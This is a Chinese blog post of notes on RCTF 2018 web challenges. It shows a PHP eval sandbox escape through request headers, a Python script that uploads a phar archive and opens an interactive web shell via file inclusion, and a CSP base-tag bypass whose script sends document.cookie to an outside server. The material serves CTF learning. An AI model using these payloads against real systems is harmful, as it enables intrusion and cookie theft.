Tianji's Blog.

rctf2018学习笔记

Word count: 1,756 / Reading time: 10 min
2018/05/22 Share

Web

赛后总结

r-cursive

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$token = sha1($_SERVER['REMOTE_ADDR']);
$dir = '../sandbox/'.$token.'/';
is_dir($dir) ?: mkdir($dir);
is_file($dir.'index.php') ?: file_put_contents($dir.'index.php', str_replace('#SHA1#', $token, file_get_contents('./template')));
switch($_GET['action'] ?: ''){
case 'go':
header('Location: http://'.$token.'.sandbox.r-cursive.ml:1337/');
break;
case 'reset':
system('rm -rf '.$dir);
break;
default:
show_source(__FILE__);
}
?>
<style>code{font-family: Segoe Script, Brush Script MT, cursive; font-size: 1.337em;}</style>

template:

1
2
3
<?php
sha1($_SERVER['REMOTE_ADDR']) === '#SHA1#' ?: die();
';' === preg_replace('/[^\W_]+\((?R)?\)/', NULL, $_GET['cmd']) ? eval($_GET['cmd']) : show_source(__FILE__);

http://589bf872527b686d94b4448c8ea3aed4761eaddc.sandbox.r-cursive.ml:1337/:

1
2
3
<?php
sha1($_SERVER['REMOTE_ADDR']) === '589bf872527b686d94b4448c8ea3aed4761eaddc' ?: die();
';' === preg_replace('/[^\W_]+\((?R)?\)/', NULL, $_GET['cmd']) ? eval($_GET['cmd']) : show_source(__FILE__);
1
2
3
?cmd=print(readdir(opendir(getcwd()))); 可以列目录
?cmd=print(readfile(readdir(opendir(getcwd())))); 读文件
?cmd=print(dirname(dirname(getcwd()))); print出/var/www

翻阅文档找到getallheaders()函数,会返回所有的http请求头,因为header可控,所以可执行任意命令了
?cmd=print(end(getallheaders()));

1
2
3
GET /?cmd=eval(implode(getallheaders())); HTTP/1.1
Host: 589bf872527b686d94b4448c8ea3aed4761eaddc.sandbox.r-cursive.ml
cmd: phpinfo(); //

1526973311681

这里是利用auto_prepend来载入sandbox下的init.php来设置沙盒的open_basedir。

1
2
3
4
5
You can use auto_prepend option in php.ini to supply script that will be executed first. There you can setup open_basedir via ini_set() function based on contents of $_SERVER array.
answered May 10 '13 at 17:21
gmsalex
20816
Yeah, something like this could do it: ini_set('open_basedir',"/var/www/hosts/$hostname/:/tmp/"); – Sunry Feb 9 at 1:29

不修改host:

1
2
3
4
5
6
7
8
9
GET /?cmd=eval(end(getallheaders())); HTTP/1.1
Host: 71aabdeb3d708872c6e00e066ae48b2669834df7.sandbox.r-cursive.ml:1337
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Connection: close
cookie: echo ini_get('open_basedir');
1
2
3
4
5
6
7
8
9
HTTP/1.1 200 OK
Date: Tue, 22 May 2018 07:25:09 GMT
Server: Apache/2.4.10 (Debian)
X-Powered-By: PHP/5.6.36
Content-Length: 64
Connection: close
Content-Type: text/html; charset=UTF-8

/var/www/sandbox/71aabdeb3d708872c6e00e066ae48b2669834df7/:/tmp/

修改host:

1
2
3
4
5
6
7
8
9
GET /?cmd=eval(end(getallheaders())); HTTP/1.1
Host: .sandbox.r-cursive.ml:1337
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Connection: close
cookie: echo ini_get('open_basedir');
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
HTTP/1.1 403 Forbidden
Date: Tue, 22 May 2018 07:25:36 GMT
Server: Apache/2.4.10 (Debian)
Content-Length: 298
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /
on this server.<br />
</p>
<hr>
<address>Apache/2.4.10 (Debian) Server at .sandbox.r-cursive.ml Port 1337</address>
</body></html>

报错,403,这是由于sandbox目录下只有init.php,没有index.php的缘故。我们访问init.php试试,200,没有报错。说明open_basedir已经发生变化。

1
2
3
4
5
6
7
8
9
GET /init.php?cmd=eval(end(getallheaders())); HTTP/1.1
Host: .sandbox.r-cursive.ml:1337
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Connection: close
cookie: echo ini_get('open_basedir');
1
2
3
4
5
6
7
HTTP/1.1 200 OK
Date: Tue, 22 May 2018 07:26:20 GMT
Server: Apache/2.4.10 (Debian)
X-Powered-By: PHP/5.6.36
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

getflag:

1
2
3
4
5
6
7
8
9
GET /71aabdeb3d708872c6e00e066ae48b2669834df7/index.php?cmd=eval(end(getallheaders())); HTTP/1.1
Host: .sandbox.r-cursive.ml:1337
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Connection: close
cookie: echo ini_get('open_basedir');var_dump(file_get_contents("/var/www/sandbox/init.php"));
1
2
3
4
5
6
7
8
9
10
11
12
13
14
HTTP/1.1 200 OK
Date: Tue, 22 May 2018 06:51:10 GMT
Server: Apache/2.4.10 (Debian)
X-Powered-By: PHP/5.6.36
Vary: Accept-Encoding
Content-Length: 186
Connection: close
Content-Type: text/html; charset=UTF-8

/var/www/sandbox/:/tmp/string(148) "<?php
ini_set("open_basedir", $_SERVER['DOCUMENT_ROOT']."/:/tmp/");
// flag: RCTF{apache_mod_vhost_alias_should_be_configured_correctly}
?>
"

Backdoor

1526992722365

根据contrab.sh,我们可以得到两个链接:

http://backdoor.2018.teamrois.cn/post.php?action=upload

http://backdoor.2018.teamrois.cn/post.php?action=debugging&count=$debuggers

打开首页,查看源码,得到aaencode之后的js代码:

解密网址:https://tool.zcmzcm.org/aadecode

1
2
3
4
5
6
7
8
9
10
document.loginform.onsubmit = function (e) { 
e.preventDefault()
document.getElementById('wp-submit').disabled = 'disabled'
setTimeout(function () {
document.getElementById('wp-submit').removeAttribute('disabled')
alert('Login failed')
"What? Need hint?"
"index.php is a hint!"
}, 3000)
}

说明,不用登录。

查看post.php,发现可能存在LFI。

index.php,没啥用

http://backdoor.2018.teamrois.cn/post.php?action=php://filter/read=convert.base64-encode/resource=index

post.php

1
2
3
<?php
error_reporting(0);
include $_GET['action'] . '.php';

uploa.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if (!isset($_FILES['file'])) exit;
$file = $_FILES['file'];
$zip = new ZipArchive();
if (true !== $zip->open($file['tmp_name'])) {
echo 'No a valid zip';
exit;
}
if (false === $zip->getFromName('tmp/random.txt')) {
echo 'No file';
exit;
}

$dest = 'uploads/' . md5($_SERVER['REMOTE_ADDR']) . hash('sha256', file_get_contents($file['tmp_name'])) . '.zip';
move_uploaded_file($file['tmp_name'], $dest);
echo 'Saved into ' . $dest;

利用zip://或者phar://包含。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

s = "Saved into "
post_url = "http://backdoor.2018.teamrois.cn/post.php?action=upload"
zip_file = open("tmp.zip","rb")
upload_file = {'file':zip_file}
r = requests.post(post_url,files=upload_file)
dest = r.text[len(s):]
shell_url = "http://backdoor.2018.teamrois.cn/post.php?action=phar://"+ dest + "/evil"
print("[*] shell url: " + shell_url)
while True:
command = input("command: ")
payload = {'chybeta': 'system("%s");' % command}
r = requests.get(shell_url,params=payload)
print(r.text)

r-blog

title: “<>1”

content: “<>1”

结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<link rel="stylesheet" href="/assets/css/bootstrap.min.css">
<link rel="stylesheet" href="/assets/css/style.css">
<link href="https://fonts.googleapis.com/css?family=Titillium+Web" rel="stylesheet">
<title>rBlog 2018</title>
</head>
<body>
<div class="container mt-5">
<div class="card">
<div class="card-body">
<h2 class="card-title"><>1</h2>
<p class="card-text">&lt;&gt;2</p>
</div>
</div>
</div>
<script nonce="090c154a21d0fdf5809aff4586fe1eed" src="/assets/js/jquery.min.js"></script>
</body>
</html>

title没有过滤,content过滤。

csp如下:

1
2
X-Frame-Options: DENY
Content-Security-Policy: default-src 'none'; script-src 'nonce-3ae08923a2654e27a3734f7876a5abe0'; frame-src https://www.google.com/recaptcha/; style-src 'self' 'unsafe-inline' fonts.googleapis.com; font-src fonts.gstatic.com; img-src 'self'

我们看到jquery.min.js是相对地址,并且base-uri没有在csp中指定。

所以payload如下:

title: <base href ="http://【my_server】/">

content: 随意

在字节的vps上添加jquery.min.js,网址: http://[my_server]/assets/js/jquery.min.js

jquery.min.js的内容:

1
window.location.href="http://123.207.90.143?"+document.cookie;

最终结果:

1
115.159.200.107 - - [22/May/2018:21:39:02 +0800] "GET /?flag=RCTF{why_the_heck_no_mimetype_for_webp_in_apache2_in_8012};%20hint_for_rBlog_Rev.2=http://rblog.2018.teamrois.cn/blog.php/52c533a30d8129ee4915191c57965ef4c7718e6d HTTP/1.1" 200 15 "http://rblog.2018.teamrois.cn/" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/66.0.3359.181 Safari/537.36"

amp

payload:

http://amp.2018.teamrois.cn?name=

1
2
3
4
5
6
7
8
9
10
11
12
13
[root@VM_89_224_redhat ~]# nc -lvv 1234
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 106.120.206.166.
Ncat: Connection from 106.120.206.166:64053.
��Y���8۲Y�=����6���km����
��A It+z���^�vY�$���,�3�'�����*K�Zp"jj�+�/�,�0̨̩����/5

hhttp/1.1uP
3+)jj �ZaV>WB�~���|�Z��4KM�������Et~-+

��

writeup:

https://github.com/zsxsoft/my-rctf-2018/tree/master/amp

注意,我这里是乱码的原因是,我直接监听1234端口,并不支持ssl。

CATALOG
  1. 1. Web
    1. 1.1. r-cursive
    2. 1.2. Backdoor
    3. 1.3. r-blog
    4. 1.4. amp